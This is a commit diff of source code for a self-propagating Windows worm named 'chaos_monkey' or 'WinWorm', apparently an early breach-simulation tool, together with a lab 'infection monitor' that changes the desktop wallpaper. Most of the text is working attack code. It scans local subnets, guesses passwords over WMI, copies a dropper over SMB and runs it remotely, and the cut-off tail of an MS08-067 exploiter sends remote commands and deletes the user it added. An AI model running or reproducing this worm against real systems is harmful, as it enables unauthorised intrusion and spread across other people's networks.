cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
try:
sock.send("start %s\r\n" % (cmdline, ))
sock.send("net user %s /delete\r\n" % (self._config.ms08_067_remote_user_add, ))
except Exception, exc:
LOG.debug("Error in post-debug phase while exploiting victim %r: (%s)", host, exc)
return False
finally:
try: sock.close()
except: pass
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",
remote_full_path, host, cmdline)
return True

View File

@ -0,0 +1,99 @@
import socket
import ntpath
import logging
import traceback
from model import DROPPER_CMDLINE, MONKEY_CMDLINE
from model.host import VictimHost
from exploit import HostExploiter
from exploit.tools import SmbTools, WmiTools, AccessDeniedException
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
def __init__(self):
self._config = __import__('config').WormConfiguration
@WmiTools.dcom_wrap
def exploit_host(self, host, src_path):
assert isinstance(host, VictimHost)
passwords = list(self._config.psexec_passwords[:])
known_password = host.get_credentials(self._config.psexec_user)
if known_password is not None:
if known_password in passwords:
passwords.remove(known_password)
passwords.insert(0, known_password)
for password in passwords:
LOG.debug("Attempting to connect %r using WMI with password '%s'",
host, password)
wmi_connection = WmiTools.WmiConnection()
try:
wmi_connection.connect(host,
self._config.psexec_user,
password)
except AccessDeniedException:
LOG.debug("Failed connecting to %r using WMI with password '%s'",
host, password)
continue
except socket.error, exc:
LOG.debug("Network error in WMI connection to %r with password '%s' (%s)",
host, password, exc)
return False
except Exception, exc:
LOG.debug("Unknown WMI connection error to %r with password '%s' (%s):\n%s",
host, password, exc, traceback.format_exc())
return False
host.learn_credentials(self._config.psexec_user, password)
# query process list and check if monkey already running on victim
process_list = WmiTools.list_object(wmi_connection, "Win32_Process",
fields=("Caption", ),
where="Name='%s'" % ntpath.split(src_path)[-1])
if process_list:
wmi_connection.close()
LOG.debug("Skipping %r - already infected", host)
return False
# copy the file remotely using SMB
remote_full_path = SmbTools.copy_file(host,
self._config.psexec_user,
password,
src_path,
self._config.dropper_target_path)
if not remote_full_path:
wmi_connection.close()
return False
# execute the remote dropper in case the path isn't final
if remote_full_path.lower() != self._config.dropper_target_path.lower():
cmdline = DROPPER_CMDLINE % {'dropper_path': remote_full_path}
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
ntpath.split(remote_full_path)[0],
None)
if (0 != result.ProcessId) and (0 == result.ReturnValue):
LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = True
else:
LOG.debug("Error executing dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
remote_full_path, host, result.ProcessId, result.ReturnValue, cmdline)
success = False
result.RemRelease()
wmi_connection.close()
return success
return False

80
chaos_monkey/main.py Normal file
View File

@ -0,0 +1,80 @@
import os
import sys
import logging
import traceback
import logging.config
from config import WormConfiguration
from model import MONKEY_ARG, DROPPER_ARG
from dropper import MonkeyDrops
from monkey import ChaosMonkey
__author__ = 'itamar'
LOG = None
LOG_CONFIG = {'version': 1,
'disable_existing_loggers': False,
'formatters': {'standard': {'format': '%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s'},
},
'handlers': {'console': {'class': 'logging.StreamHandler',
'level': 'DEBUG',
'formatter': 'standard'},
'file': {'class': 'logging.FileHandler',
'level': 'DEBUG',
'formatter': 'standard',
'filename': None}
},
'root': {'level': 'DEBUG',
'handlers': ['console']},
}
def main():
global LOG
if 2 > len(sys.argv):
return True
monkey_mode = sys.argv[1]
monkey_args = sys.argv[2:]
try:
if MONKEY_ARG == monkey_mode:
log_path = WormConfiguration.monkey_log_path
monkey_cls = ChaosMonkey
elif DROPPER_ARG == monkey_mode:
log_path = WormConfiguration.dropper_log_path
monkey_cls = MonkeyDrops
else:
return True
except ValueError:
return True
if WormConfiguration.use_file_logging:
LOG_CONFIG['handlers']['file']['filename'] = log_path
LOG_CONFIG['root']['handlers'].append('file')
logging.config.dictConfig(LOG_CONFIG)
LOG = logging.getLogger()
def log_uncaught_exceptions(ex_cls, ex, tb):
LOG.critical(''.join(traceback.format_tb(tb)))
LOG.critical('{0}: {1}'.format(ex_cls, ex))
sys.excepthook = log_uncaught_exceptions
LOG.info(">>>>>>>>>> Initializing monkey (%s): PID %s <<<<<<<<<<",
monkey_cls.__name__, os.getpid())
monkey = monkey_cls(monkey_args)
monkey.initialize()
try:
monkey.start()
return True
finally:
monkey.cleanup()
if "__main__" == __name__:
if not main():
sys.exit(1)

View File

@ -0,0 +1,10 @@
__author__ = 'itamar'
MONKEY_ARG = "m0nk3y"
DROPPER_ARG = "dr0pp3r"
DROPPER_CMDLINE = 'cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE = 'cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
DROPPER_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(dropper_path)s %s' % (DROPPER_ARG, )
MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_ARG, )
from host import VictimHost

View File

@ -0,0 +1,31 @@
__author__ = 'itamar'
class VictimHost(object):
def __init__(self, ip_addr):
self.ip_addr = ip_addr
self.cred = {}
def __hash__(self):
return hash(self.ip_addr)
def __eq__(self, other):
if not isinstance(other, VictimHost):
return False
return self.ip_addr.__eq__(other.ip_addr)
def __cmp__(self, other):
if not isinstance(other, VictimHost):
return -1
return self.ip_addr.__cmp__(other.ip_addr)
def __repr__(self):
return "<VictimHost %s>" % (self.ip_addr, )
def learn_credentials(self, username, password):
self.cred[username.lower()] = password
def get_credentials(self, username):
return self.cred.get(username.lower(), None)

BIN
chaos_monkey/monkey.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 232 KiB

107
chaos_monkey/monkey.py Normal file
View File

@ -0,0 +1,107 @@
import sys
import time
import logging
from system_singleton import SystemSingleton
from control import ControlClient
from config import WormConfiguration
from network.network_scanner import NetworkScanner
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
# TODO:
# 1. Remote dating of copied file
# 2. OS Detection prior to exploit
# 3. Exploit using token credentials
# 4. OS Support for exploitation modules (win / linux specific)
# 5. Linux portability
# 6. Clear eventlog after exploitation
# 7. Add colors to logger
class ChaosMonkey(object):
def __init__(self, args):
self._keep_running = False
self._exploited_machines = set()
self._fail_exploitation_machines = set()
self._singleton = SystemSingleton()
def initialize(self):
LOG.info("WinWorm is initializing...")
if not self._singleton.try_lock():
raise Exception("Another instance of the monkey is already running")
self._network = NetworkScanner()
self._network.initialize()
self._keep_running = True
self._exploiters = [exploiter() for exploiter in WormConfiguration.exploiter_classes]
self._dropper_path = sys.argv[0]
new_config = ControlClient.get_control_config()
def start(self):
LOG.info("WinWorm is running...")
for _ in xrange(WormConfiguration.max_iterations):
new_config = ControlClient.get_control_config()
if not self._keep_running:
break
machines = self._network.get_victim_machines(WormConfiguration.scanner_class,
max_find=WormConfiguration.victims_max_find)
for machine in machines:
# skip machines that we've already exploited
if machine in self._exploited_machines:
LOG.debug("Skipping %r - already exploited",
machine)
continue
elif machine in self._fail_exploitation_machines:
LOG.debug("Skipping %r - exploitation failed before",
machine)
continue
successful_exploiter = None
for exploiter in self._exploiters:
LOG.info("Trying to exploit %r with exploiter %s...",
machine, exploiter.__class__.__name__)
try:
if exploiter.exploit_host(machine, self._dropper_path):
successful_exploiter = exploiter
break
else:
LOG.info("Failed exploiting %r with exploiter %s",
machine, exploiter.__class__.__name__)
except Exception, exc:
LOG.error("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
continue
if successful_exploiter:
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
break
else:
self._fail_exploitation_machines.add(machine)
time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running:
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
def cleanup(self):
self._keep_running = False
self._singleton.unlock()

View File

@ -0,0 +1,15 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class HostScanner(object):
__metaclass__ = ABCMeta
@abstractmethod
def is_host_alive(self, host):
raise NotImplementedError()
from ping_scanner import PingScanner
from tcp_scanner import TcpScanner

View File

@ -0,0 +1,61 @@
import time
import socket
import logging
from network import HostScanner
from config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
SCAN_DELAY = 0
class NetworkScanner(object):
def __init__(self):
self._ip_addresses = None
self._ranges = None
def initialize(self):
# get local ip addresses
local_hostname = socket.gethostname()
self._ip_addresses = socket.gethostbyname_ex(local_hostname)[2]
if not self._ip_addresses:
raise Exception("Cannot find local IP address for the machine")
LOG.info("Found local IP addresses of the machine: %r", self._ip_addresses)
self._ranges = [WormConfiguration.range_class(ip_address)
for ip_address in self._ip_addresses]
LOG.info("Base local networks to scan are: %r", self._ranges)
def get_victim_machines(self, scan_type, max_find=5):
assert issubclass(scan_type, HostScanner)
scanner = scan_type()
victims_count = 0
for range in self._ranges:
LOG.debug("Scanning for potantional victims in the network %r", range)
for victim in range:
# skip self IP address
if victim.ip_addr in self._ip_addresses:
continue
LOG.debug("Scanning %r...", victim)
# if scanner detect machine is up, add it to victims list
if scanner.is_host_alive(victim):
LOG.debug("Found potational victim: %r", victim)
victims_count += 1
yield victim
if victims_count >= max_find:
LOG.debug("Found max needed victims (%d), stopping scan", max_find)
break
if SCAN_DELAY:
time.sleep(SCAN_DELAY)

View File

@ -0,0 +1,26 @@
import os
import sys
import subprocess
from network import HostScanner
from model.host import VictimHost
__author__ = 'itamar'
PING_COUNT_FLAG = "-n" if "win32" == sys.platform else "-c"
PING_TIMEOUT_FLAG = "-w" if "win32" == sys.platform else "-W"
class PingScanner(HostScanner):
def __init__(self):
self._config = __import__('config').WormConfiguration
self._devnull = open(os.devnull, "w")
def is_host_alive(self, host):
assert isinstance(host, VictimHost)
return 0 == subprocess.call(["ping",
PING_COUNT_FLAG, "1",
PING_TIMEOUT_FLAG, str(self._config.ping_scan_timeout),
host.ip_addr],
stdout=self._devnull,
stderr=self._devnull)

View File

@ -0,0 +1,69 @@
import socket
import random
import struct
from abc import ABCMeta, abstractmethod
from model.host import VictimHost
__author__ = 'itamar'
class NetworkRange(object):
__metaclass__ = ABCMeta
def __init__(self, base_address, shuffle=True):
self._base_address = base_address
self._shuffle = shuffle
self._config = __import__('config').WormConfiguration
@abstractmethod
def _get_range(self):
raise NotImplementedError()
def __iter__(self):
base_range = self._get_range()
if self._shuffle:
random.shuffle(base_range)
for x in base_range:
yield VictimHost(socket.inet_ntoa(struct.pack(">L", self._base_address + x)))
class ClassCRange(NetworkRange):
def __init__(self, base_address, shuffle=True):
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0] & 0xFFFFFF00
super(ClassCRange, self).__init__(base_address, shuffle=shuffle)
def __repr__(self):
return "<ClassCRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address + 1)),
socket.inet_ntoa(struct.pack(">L", self._base_address + 254)))
def _get_range(self):
return range(1, 254)
class RelativeRange(NetworkRange):
def __init__(self, base_address, shuffle=True):
base_address = struct.unpack(">L", socket.inet_aton(base_address))[0]
super(RelativeRange, self).__init__(base_address, shuffle=shuffle)
self._size = self._config.range_size
def __repr__(self):
return "<RelativeRange %s-%s>" % (socket.inet_ntoa(struct.pack(">L", self._base_address - self._size)),
socket.inet_ntoa(struct.pack(">L", self._base_address + self._size)))
def _get_range(self):
return range(-self._size, self._size + 1)
class FixedRange(NetworkRange):
def __init__(self, base_address, shuffle=True):
base_address = 0
super(FixedRange, self).__init__(base_address, shuffle=shuffle)
self._fixed_addresses = self._config.range_fixed
def __repr__(self):
return "<FixedRange %s>" % (",".join(self._fixed_addresses))
def _get_range(self):
return [struct.unpack(">L", socket.inet_aton(address))[0]
for address in self._fixed_addresses]

View File

@ -0,0 +1,29 @@
import time
import socket
from network import HostScanner
from model.host import VictimHost
__author__ = 'itamar'
class TcpScanner(HostScanner):
def __init__(self, target_port=None):
self._config = __import__('config').WormConfiguration
def is_host_alive(self, host):
assert isinstance(host, VictimHost)
for target_port in self._config.tcp_target_ports:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(self._config.tcp_scan_timeout / 1000.0)
try:
sock.connect((host.ip_addr, target_port))
sock.close()
return True
except socket.error:
time.sleep(self._config.tcp_scan_interval / 1000.0)
continue
return False

View File

@ -0,0 +1,87 @@
import sys
import ctypes
import logging
import winerror
from abc import ABCMeta, abstractmethod
from config import WormConfiguration
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
class _SystemSingleton(object):
__metaclass__ = ABCMeta
@property
@abstractmethod
def locked(self):
raise NotImplementedError()
@abstractmethod
def try_lock(self):
raise NotImplementedError()
@abstractmethod
def unlock(self):
raise NotImplementedError()
class WindowsSystemSingleton(_SystemSingleton):
def __init__(self):
self._mutex_name = r"Global\%s" % (WormConfiguration.singleton_mutex_name, )
self._mutex_handle = None
@property
def locked(self):
return self._mutex_handle is not None
def try_lock(self):
assert self._mutex_handle is None, "Singleton already locked"
handle = ctypes.windll.kernel32.CreateMutexA(None,
ctypes.c_bool(True),
ctypes.c_char_p(self._mutex_name))
last_error = ctypes.windll.kernel32.GetLastError()
if not handle:
LOG.error("Cannot acquire system singleton %r, unknown error %d",
self._mutex_name, last_error)
return False
if winerror.ERROR_ALREADY_EXISTS == last_error:
LOG.debug("Cannot acquire system singleton %r, mutex already exist",
self._mutex_name)
return False
self._mutex_handle = handle
LOG.debug("Global singleton mutex %r acquired",
self._mutex_name)
return True
def unlock(self):
assert self._mutex_handle is not None, "Singleton not locked"
ctypes.windll.kernel32.CloseHandle(self._mutex_handle)
self._mutex_handle = None
class LinuxSystemSingleton(_SystemSingleton):
@property
def locked(self):
return False
def try_lock(self):
return True
def unlock(self):
pass
if sys.platform == "win32":
SystemSingleton = WindowsSystemSingleton
else:
SystemSingleton = LinuxSystemSingleton

View File

@ -0,0 +1 @@
__author__ = 'Administrator'

View File

@ -0,0 +1,17 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class MonitorAction(object):
__metaclass__ = ABCMeta
@abstractmethod
def do_action(self):
raise NotImplementedError()
@abstractmethod
def undo_action(self):
raise NotImplementedError()
from desktop import ChangeDesktopAction

View File

@ -0,0 +1,38 @@
import os
import sys
import ctypes
import shutil
import logging
from data import resource_path
__author__ = 'itamar'
LOG = logging.getLogger(__name__)
SPI_SETDESKWALLPAPER = 20
SPIF_UPDATEINIFILE = 0x01
SPIF_SENDCHANGE = 0x02
class ChangeDesktopAction(object):
def __init__(self, desktop_image):
self._desktop_image = resource_path(desktop_image)
assert os.path.exists(self._desktop_image), "desktop image %s is missing" % (self._desktop_image, )
def do_action(self):
ctypes_desktop_img = ctypes.c_char_p(self._desktop_image)
# set the image
if not bool(ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, ctypes_desktop_img, SPIF_SENDCHANGE | SPIF_UPDATEINIFILE)):
LOG.warn("Error setting desktop wallpaper image to '%s' (error %d)",
ctypes_desktop_img.value, ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Desktop wallpaper image is set to %r", ctypes_desktop_img.value)
def undo_action(self):
if not bool(ctypes.windll.user32.SystemParametersInfoA(SPI_SETDESKWALLPAPER, 0, "" , SPIF_SENDCHANGE | SPIF_UPDATEINIFILE)):
LOG.warn("Error resetting desktop wallpaper image (error %d)",
ctypes.windll.kernel32.GetLastError())
else:
LOG.debug("Desktop wallpaper image reset")

View File

@ -0,0 +1,2 @@
c:\Python27\python -m PyInstaller.main -F -y --clean monitor.spec
move /Y dist\monitor32.exe "%allusersprofile%\desktop\monitor32.exe"

View File

@ -0,0 +1,13 @@
from abc import ABCMeta, abstractmethod
__author__ = 'itamar'
class MonitorCondition(object):
__metaclass__ = ABCMeta
@abstractmethod
def check_condition(self):
raise NotImplementedError()
from files import FilesExistCondition

View File

@ -0,0 +1,12 @@
import os
from condition import MonitorCondition
__author__ = 'itamar'
class FilesExistCondition(MonitorCondition):
def __init__(self, file_name):
self._file_path = os.path.abspath(file_name)
def check_condition(self):
return os.path.isfile(self._file_path)

View File

@ -0,0 +1,16 @@
import sys
from condition import FilesExistCondition
from action import ChangeDesktopAction
__author__ = 'itamar'
class MonitorConfiguration(object):
conditions = [FilesExistCondition(r"C:\windows\monkey.exe"),
]
actions = [ChangeDesktopAction(r"infected.bmp")
]
monitor_interval = 5000 # 5 seconds

View File

@ -0,0 +1,15 @@
import os
import sys
__author__ = 'itamar'
def resource_path(relative_path):
""" Get absolute path to resource, works for dev and for PyInstaller """
try:
# PyInstaller creates a temp folder and stores path in _MEIPASS
base_path = sys._MEIPASS
except Exception:
base_path = os.path.abspath("data")
return os.path.join(base_path, relative_path)

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.4 MiB

54
infection_monitor/main.py Normal file
View File

@ -0,0 +1,54 @@
import time
import logging
from config import MonitorConfiguration
__author__ = 'itamar'
logging.basicConfig(format='%(asctime)s [%(process)d:%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s',
level=logging.DEBUG)
LOG = logging.getLogger()
def do_infected():
LOG.info("Changed state to infected")
[action.do_action()
for action in MonitorConfiguration.actions]
def do_not_infected():
LOG.info("Changed state to not infected")
[action.undo_action()
for action in MonitorConfiguration.actions]
def main():
infected = False
LOG.info("Monitor going up...")
do_not_infected()
try:
while True:
if any([condition.check_condition()
for condition in MonitorConfiguration.conditions]):
if not infected:
do_infected()
infected = True
else:
if infected:
do_not_infected()
infected = False
for _ in range(MonitorConfiguration.monitor_interval / 1000):
time.sleep(1.0)
finally:
if infected:
do_not_infected()
LOG.info("Monitor going down...")
if "__main__" == __name__:
main()

Binary file not shown.

After

Width:  |  Height:  |  Size: 348 KiB